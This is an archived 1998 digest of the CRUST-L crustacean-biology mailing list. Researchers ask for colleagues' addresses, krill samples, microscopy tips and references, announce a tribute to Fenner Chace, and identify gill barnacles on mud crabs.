(fwd) CRUST-L: swarming behavior: from [Tierney Thys ] CRUST-L: Euphausiids for DNA + address CRUST-L: tricks in Electronic Microscopy CRUST-L: Norway Lobster: Decapod specialists & bibliophiles CRUST-L: activity in the field CRUST-L: to A Konopacka CRUST-L: Email address of S.Gasparini CRUST-L: Dr. Chace's birthday party CRUST-L: Alan Harvey's e-mail ---------------------------------------------------------------------- From: DTSHUDY@EDINBORO.EDU Date: Fri, 04 Sep 1998 11:00:48 -0500 (EST) Subject: CRUST-L: e-mail address for Gerhard Scholtz Crust-l Members, Does anyone have the e-mail address for Dr. Gerhard Scholtz, Freie Universitat Berlin? many thanks, Dale Tshudy, Geosciences, Edinboro University of Pennsylvania =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. 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For further information please see: http://dialspace.dial.pipex.com/town/avenue/aba60/shoals.htm and/or contact shoals@rgs.org =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Simon Jarman Date: Mon, 7 Sep 1998 18:33:13 +1000 Subject: CRUST-L: Euphausiids for DNA Dear Crust-Ls, I am working on molecular phylogenetics of the euphausiaceae (krill). If any of you have ethanol-preserved (but not formalin-fixed) krill that I could have, I'd be very grateful for the chance to include them in my analysis. If anyone had a sample of Amphionides reynaudii, that would be useful for higher-level phylogenetics too. Thanks in advance, Simon =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: WICKSTEN@BIO.TAMU.EDU Date: Mon, 7 Sep 1998 9:12:48 -0600 Subject: CRUST-L: planktonic crustacean keys Fellow crustacean enthusiasts: Lisa-ann Gershwin of the University of California, Berkeley and Gary Williams of the California Academy of Sciences have put together a proposal for a book on the planktonic and midwater fauna of California. Various interested biologists have put together brief manuscripts, keys or abstracts for chapters and sections on various groups. The University of California Press has shown serious interest in the proposal. However, nobody has shown any interest in writing a section on any of the following groups: copepods, mysidaceans, euphausiaceans, cladocerans, leptostracans or others (amphionids, parasitic isopods, or larvae). If anyone would be interested in contributing a section for potential publication, please contact Lisa Gershwin (lgershwin@hotmail.com) or Gary Williams (gwilliams@calacademy.org). Mary Wicksten, Texas A&M University =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. 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Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Mon, 07 Sep 1998 11:26:17 -0400 Subject: CRUST-L: Re: Coloured shrimp (fwd) Please respond to the list and not to me. Thanks, Jeff =================================forward======================== >From: ""David Dunham"" >To: ""Hans Hillewaert"" , >Subject: Re: CRUST-L: Coloured Shrimps >Date: Tue, 1 Sep 1998 11:38:40 -0400 >X-MSMail-Priority: Normal >X-Priority: 3 >X-Mailer: Microsoft Internet Mail 4.70.1155 >MIME-Version: 1.0 >Content-Type: text/plain; charset=ISO-8859-1 >Content-Transfer-Encoding: 7bit > >Hans - > Why not just videotape them with an infra-red sensitive camera? Many >ordinary video cameras respond well to infra-red. You can provide light in >this range with filtered incandescent ""heat lamp"" bulbs, or arrays of >infra-red LEDs. Both methods are inexpensive, and non-invasive for the >animals. We have used both techniques successfully in studying crayfish >behaviour in the ""dark"". The LEDs are preferable, because one doesn't have >the problem of having to seal the unit against visible light leakage, while >simultaneously preventing heat accumulation that can melt filtres. The >latter can be done with appropriate use of ""squirrel cage"" fans, but this >adds to the cost. > Veel geluk! > David Dunham >______________________________________ >dunham@zoo.utoronto.ca >Prof. David W. Dunham, Associate Chair >Graduate Department of Zoology >University of Toronto >25 Harbord Street >Toronto, Ontario, Canada M5S 3G5 >Fax 416-978-8532 >Tel 416-978-3496 >www.zoo.utoronto.ca >______________________________________ >Communication & Sensory Ecology >______________________________________ > >---------- > > > jeff@vims.edu ( ) ( ) Jeffrey Shields (^ ^) (^ ^) Assistant Professor (^) . . (^) Virginia Institute of Marine Science \\\\ 0 | | 0 // Gloucester Point, VA 23062, USA \\\\__\\\\|}{|//__// Tel (804) 684-7128; Fax (804) 684-7186 \\^ ^^ ^/ http://www.vims.edu/~jeff/ <====\\^ ( ) ^/====> <====\\^ ^/====> <====\\ /====> ()===(____)===() =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Mon, 07 Sep 1998 11:27:29 -0400 Subject: CRUST-L: swarming behavior: from [Tierney Thys ] Please respond to Tierney Thys, and not to me. Thanks, Jeff >Date: 02 Sep 98 10:56:07 +0000 >From: Tierney Thys >Subject: Swarming behavior among decapods >To: ""CRUST-L"" >X-Mailer: QuickMail Pro 1.5.3 (Mac) >X-Priority: 3 >MIME-Version: 1.0 >Reply-To: Tierney Thys >Content-Transfer-Encoding: quoted-printable >Content-Type: text/plain; charset=""US-Ascii"" > >To any kind informed souls, >I am in the midst of writing a popular-science article on the tuna crab = >Pleuroncodes planipes-- an anomuran galatheid that spends its first two = >years swimming in the water column. These decapods are best known for = >their swarming behavior that can blanket large stretches of the ocean as = >well as beaches during El Nino years. I am wondering how common swarming = >behavior is among the decopods. Are there phylogenetic links/lifestyle = >links to swarming behavior? Is swarming linked always to reproduction or = >feeding or both? > >Any information would be most gratefully appreciated also any tuna crab = >anecdotes anyone cares to impart. > >Thanks so much, > = > > >Tierney Thys, Ph.D. >Shape of Life >167 Central Ave. Suite C >Pacific Grove, CA 93950 >ph: (831)-649-7474 >fx: (831)-649-7475 >tierney@seastudios.com > > > > jeff@vims.edu ( ) ( ) Jeffrey Shields (^ ^) (^ ^) Assistant Professor (^) . . (^) Virginia Institute of Marine Science \\\\ 0 | | 0 // Gloucester Point, VA 23062, USA \\\\__\\\\|}{|//__// Tel (804) 684-7128; Fax (804) 684-7186 \\^ ^^ ^/ http://www.vims.edu/~jeff/ <====\\^ ( ) ^/====> <====\\^ ^/====> <====\\ /====> ()===(____)===() =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Simon Jarman Date: Tue, 8 Sep 1998 09:48:50 +1000 Subject: CRUST-L: Euphausiids for DNA + address If anyone was interested in responding to my request for euphausiid samples, my address is:- Simon Jarman Institute of Antarctic and Southern Ocean Studies GPO Box 252-77 Hobart TAS 7001 Australia Thanks again, Simon =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Massabuau Jean-Charles Date: Tue, 08 Sep 1998 10:46:58 +0200 Subject: CRUST-L: tricks in Electronic Microscopy Dear colleagues, We are currently trying to perform semi-thin and ultra-thin sections of deep sea ostracodes to get more insights into their respiratory adaptation to this extreme environment.=20 To soften the shell, we tried EDTA 5% in the fixative but we have still problems.=20 We are going to increase this percentage but I would like to ask if there is anyone around who have (or who know somebody who have), experience in this particular field. Thanks a lot for any information. Cheers, JC ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Dr Jean-Charles Massabuau =20 UMR 5805, Laboratoire d'Ecophysiologie et Ecotoxicologie des Syst=E8mes Aquatiques. =20 Universit=E9 Bordeaux I and CNRS Place du Dr Peyneau Tel: +33 (0)5 56 22 39 25 33 120 Arcachon Fax: +33 (0)5 56 83 03 50 FRANCE e mail: massabuau@lnpc.u-bordeaux.fr ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Wulf Kobusch"" Date: Tue, 8 Sep 1998 14:27:00 +0000 Subject: CRUST-L: Norway Lobster: Decapod specialists & bibliophiles Hello CRUST-Lers, is there anybody out there who has ever heard of the following title: MEEK, A. [Alexander?] (1903): Animal Types, the Norway Lobster, Nephrops norvegicus. Newcastle upon Tyne. I would be very grateful to get some correct bibliographic data: Publisher? how many pages ? Is the title correct ? etc. There must be some errors within this, because even the British Library never heard of it (?) :-( Thanks in advance for any comments All the best Wulf *********************************************************** Wulf Kobusch Ruhr Universitaet Bochum Lehrstuhl fuer Spezielle Zoologie Gebaeude ND 05 / 776 Universitaetsstrasse 150 44801 Bochum GERMANY phone: +49/(0)234-700-5577 or -4563 fax: +49/(0)234-7094-114 e-mail: wulf.c.kobusch@ruhr-uni-bochum.de *********************************************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Massabuau Jean-Charles Date: Wed, 09 Sep 1998 12:24:03 +0200 Subject: CRUST-L: activity in the field Dear colleagues, I am looking for data on the ecology of crustacean in the field. I am especially interested by the percentage of time animals are spending daily for walking, looking after food, digesting quietly in a hole, resting and dreaming, fighting, etc... I guess the behavior is quite variable and different for interdidal animals which are obliged to stay quiet at low tide during daytime and for those who are living like lobsters at lower level, but any informations are= welcome. I think there are people around interested by these question in terms of energy budget, but I am not introduce in that field. Any help is welcome ! Best wishes from the sandy and sunny (today !) side of France ! JC ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Dr Jean-Charles Massabuau =20 UMR 5805, Laboratoire d'Ecophysiologie et Ecotoxicologie des Syst=E8mes Aquatiques. =20 Universit=E9 Bordeaux I and CNRS Place du Dr Peyneau Tel: +33 (0)5 56 22 39 25 33 120 Arcachon Fax: +33 (0)5 56 83 03 50 FRANCE e mail: massabuau@lnpc.u-bordeaux.fr ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Dr. Musko Ilona"" Date: Wed, 9 Sep 1998 15:44:51 +0200 (CEST) Subject: CRUST-L: to A Konopacka Dear Alicja, I can not contact with you on your e-mail address published in the List of Participants of the 4ECC (Amsterdam). Please, send me e-mail and I try to reply it. Thanks Ilona B. Musko Dr. B. Musko Ilona Dr. Ilona B. Musko tud. fomunkatars sen. research fellow MTA Balatoni Limnologiai Balaton Limnological Research Kutatointezete Institute of the Hungarian Tihany Academy of Sciences 8237 Tihany Tel.:87-448-244 H-8237 Fax: 87-448-006 Tel.: (36)87-448244 Fax: (36)87-448-006 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Wed, 09 Sep 1998 15:03:04 -0400 Subject: CRUST-L: Email address of S.Gasparini Please respond to Andrew Hirst, and not to me. Thanks, Jeff ========================================================================= >From: Andrew Hirst >Subject: Email address of S.Gasparini > >Dear crusters > >Does anyone have the e-mail address of Stephane Gasparini (Laboratoire >d'Oceanographie Biologique, Universite Bordeaux). Any help would be very >much appreciated. > >Regards >Andrew Hirst >__________________________________________ > >Dr AG Hirst >George Deacon Division for Ocean Processes >Southampton Oceanography Centre >Empress Dock >Southampton SO14 3ZH >United Kingdom >Tel: +44 (0)1703 596335 >Fax: +44 (0)1703 596247 >__________________________________________ > > > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Marilyn Schotte Date: Thu, 10 Sep 98 09:37:02 EDT Subject: CRUST-L: Dr. Chace's birthday party Invertebrate Zoology, Natural Museum of Natural History NHB Stop 163 Smithsonian Inst. Washington, D.C. 20560 Dear Colleagues, On October 5, 1998, Dr. Fenner A. Chace,Jr., Zoologist Emeritus of the Department of Invertebrate Zoology, National Museum of Natural History, Smithsonian Institution, will celebrate his 90th birthday. During that week we will honor him with a (surprise) party and are therefore calling for letters of tribute, congratulations and good wishes from friends, colleagues and associates; these will be gathered and presented to him during this fete on Oct. 6. Dr. Chace received his A.B., A.M., and Ph.D. from Harvard University; the latter was conferred in 1934. He began publishing on Crustacea in 1936. During his 62-year career he has enormously increased our understanding of the shrimpsand lobsters of the world. After working at the Museum of Comparative Zoology he came to the Smithsonian in 1946, holding the title of Senior Zoologist from 1963 until his retirement in 1978. After retirement he continued to produce major monographs, particularly on the shrimps of the U.S. Philippines Albatross Expedition. At age 89, he published the last monograph in this series, which now totals more than 900 pages. He still continues to work a few days a week. We invite your contributions to help us celebrate this milestone of one of the most important scientists in Carcinology of this century. They may be sent to me at the following address: Dr. Kristian Fauchald, Chairman Dept. of Invertebrate Zoology NHB 163 Smithsonian Institution Washington, D. C. 20560-0163 E-mail: FAUCHALD.KRISTIAN@NMNH.SI.EDU With many thanks, Dr. Kristian Fauchald (202) 357-4993 Rm W106 FAX: 202-357-3043 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Hoeg, Jens T (MSX)"" Date: Thu, 10 Sep 1998 18:08:02 +0200 Subject: CRUST-L: Alan Harvey's e-mail This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. - ------ =_NextPart_000_01BDDCD5.34580A90 Content-Type: text/plain I hate to trouble the list with stuff like this, but would any of you have Alan Harvey's present e-mail. He should recently have changed his affiliation. Please reply to me personally and not to the list Jens Jens T. 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To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V1 #159 ***************************** crust-l-digest Friday, 18 September 1998 Volume 01 : Number 160 CRUST-L: About Asociaci�n Americana de Soya CRUST-L: Pleurophricus spinipes (*fwd) [none] CRUST-L: Scylla &...? Re: CRUST-L: Scylla &...? RE: CRUST-L: Scylla &...? CRUST-L: Taxonomy of penaeid shrimps. CRUST-L: Octolasmis refs (fwd) Re: CRUST-L: Taxonomy of penaeid shrimps. RE: CRUST-L: Scylla &...? RE: CRUST-L: Scylla &...? [none] RE: CRUST-L: Scylla &...? [none] CRUST-L: fat crabs CRUST-L: Family Authorities ---------------------------------------------------------------------- From: ""Jos� Luis Bortolini Rosales"" Date: Thu, 10 Sep 1998 17:40:17 -0600 Subject: CRUST-L: About Asociaci�n Americana de Soya Dear all: Any body know the e-mail of Beatriz Polanco L. R., she work in the Asociaci=F3n Ameriacan de Soya in Caracas, Venezuela. Or the web site of this institution. Tank you - --=20 Atte. Biol. Jose Luis Bortolini Rosales Laboratorio de Invertebrados, Departamento de Biologia, Facultad de Ciencias, Universidad Nacional Autonoma de Mexico Apartado Postal 70-371 Mexico D. F. 04510 MEXICO Tel.- (5) 6224919; Fax.- (5) 6224828 e-mail: jlbr@hp.fciencias.unam.mx; jlbr2@servidor.unam.mx =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Sat, 12 Sep 1998 11:22:40 -0400 (EDT) Subject: CRUST-L: Pleurophricus spinipes (*fwd) Please respond to Peter Castro and not to me. THanks, Jeff =================================fwd============================= To: crust-l@vims.edu From: Peter Castro Subject: type of Pleurophricus spinipes (BRACHYURA) Dear colleagues: I am trying to locate the type material of a palicid crab, Pleurophricus spinipes De Man, 1888 (Archiv fur Naturgeschichte, 53: 215-600). It was described by De Man from material collected by J. Brock in Indonesia. The type could have been in either Leiden, Amsterdam or Frankfurt but none of these museums has it. Any hints? Thanks a lot, Peter Castro BIMM-Mus=E9um national d'Histoire naturelle Paris Biological Sciences Department California State Polytechnic University Pomona =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Li Li Date: Wed, 16 Sep 1998 11:45:42 +0800 (HKT) Subject: [none] Hello, Curstlers! Could anybody give me Dr.Barnwell,F.H.'s email address? Thank you in advance. Li Li =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Francesca Porri"" Date: Wed, 16 Sep 1998 14:53:15 +0200 Subject: CRUST-L: Scylla &...? Dear Crusters, I'm looking at the distribution, abundance, natural diet and reproductive cycle of the Decapod Scylla serrata in the mangroves swamps of South African estuaries. During the dissections of almost all the crabs I noticed the presence of parasites in the gills chamber of the crabs. They look like the following: they have a sort of long ""neck"" ending with a large hook. In fact, they look like small adult goose or stalked barnacles. Does anybody have any kind of information on these crustaceans ? Are they real parassites? Please send any information to: fran@dogmatix.utr.ac.za Thank you for any help, Francesca =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Wed, 16 Sep 1998 09:41:38 -0400 (EDT) Subject: Re: CRUST-L: Scylla &...? Francesca, Darryl Hudson & Bob (RJG) Lester published on the parasites from Scylla in _Aquaculture_ a couple of years ago. Sorry I can't provide the reference. It's at work. WIlliam Jeffries and his students/collaborators published extensively on ""gooseneck"" barnacles, Octolasmis spp., from a number of crustaceans. He has at least 2 papers on the epibionts. Tim Jones, Bob Lester and I did an unpublished study of the parasites of Scylla from around eastern Australia. If what you have is visible to the unclothed eye then you have a species of Octolasmis (see Jeffries et al.'s work). If what you have is only visible with a microscope, then you could have a number of different ciliates (Epistylis, Operculariella, etc. - see Hudson & Lester). I can provide references next week. CHeers, Jeff On Wed, 16 Sep 1998, Francesca Porri wrote: > Dear Crusters, > I'm looking at the distribution, abundance, natural diet and reproductive > cycle of the Decapod Scylla serrata in the mangroves swamps of > South African estuaries. > During the dissections of almost all the crabs I noticed the > presence of parasites in the gills chamber of the crabs. They look like the > following: > they have a sort of long ""neck"" ending with a large hook. In fact, they > look like small adult goose > or stalked barnacles. > Does anybody have any kind of information on these crustaceans ? > Are they real parassites? > Please send any information to: fran@dogmatix.utr.ac.za > Thank you for any help, > Francesca > > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > To (un)subscribe to CRUST-L: > Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. > To post to CRUST-L, send messages to CRUST-L@VIMS.EDU > Send HELP to MAJORDOMO@VIMS.EDU for additional commands. > Archives available at http://www.vims.edu/~jeff/archive.htm > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > jeff@vims.edu ( ) ( ) Jeffrey Shields (^ ^) (^ ^) Assistant Professor (^) . . (^) Virginia Institute of Marine Science \\\\ 0 | | 0 // Gloucester Point, VA 23062, USA \\\\__\\\\|}{|//__// Tel (804) 684-7128; Fax (804) 684-7186 \\^ ^^ ^/ http://www.vims.edu/~jeff/ <====\\^ ( ) ^/====> <====\\^ ^/====> <====\\ /====> ()===(____)===() =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Ian Knuckey"" Date: Thu, 17 Sep 1998 08:56:03 +1000 Subject: RE: CRUST-L: Scylla &...? Dear Francesca It sound like Octolasmis See following references: Jeffries, W. B., Voris, H. K., and Yang, C.-M. (1989) A new mechanism of host colonization: Pedunculate barnacles of the genus Octolasmis on the mangrove crab Scylla serrata. Ophelia, 31(1): 51-58. Jeffries, W. B., Voris, H.K., and Yang, C.-M. (1985) Growth of Octolasmis cor (Aurivillius, 1892) on the gills of Scylla serrata (Forskal, 1755). BIOL. BULL. MAR. BIOL. LAB. WOODS HOLE., 169(1): 291-296. Regards - Ian Knuckey ******************************************** Ian A. Knuckey Marine and Freshwater Resources Institute PO Box 114 Queenscliff VIC 3225 AUSTRALIA Ph +61 3 5258 0229 Fax +61 3 5258 0270 E-mail I.Knuckey@mafri.com.au ******************************************** > -----Original Message----- > From: owner-crust-l@vims.edu [mailto:owner-crust-l@vims.edu]On Behalf Of > Francesca Porri > Sent: Wednesday, 16 September 1998 22:53 > To: crust-l@VIMS.EDU > Subject: CRUST-L: Scylla &...? > > > Dear Crusters, > I'm looking at the distribution, abundance, natural diet and reproductive > cycle of the Decapod Scylla serrata in the mangroves swamps of > South African estuaries. > During the dissections of almost all the crabs I noticed the > presence of parasites in the gills chamber of the crabs. They > look like the > following: > they have a sort of long ""neck"" ending with a large hook. In fact, they > look like small adult goose > or stalked barnacles. > Does anybody have any kind of information on these crustaceans ? > Are they real parassites? > Please send any information to: fran@dogmatix.utr.ac.za > Thank you for any help, > Francesca > > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > To (un)subscribe to CRUST-L: > Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. > To post to CRUST-L, send messages to CRUST-L@VIMS.EDU > Send HELP to MAJORDOMO@VIMS.EDU for additional commands. > Archives available at http://www.vims.edu/~jeff/archive.htm > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm 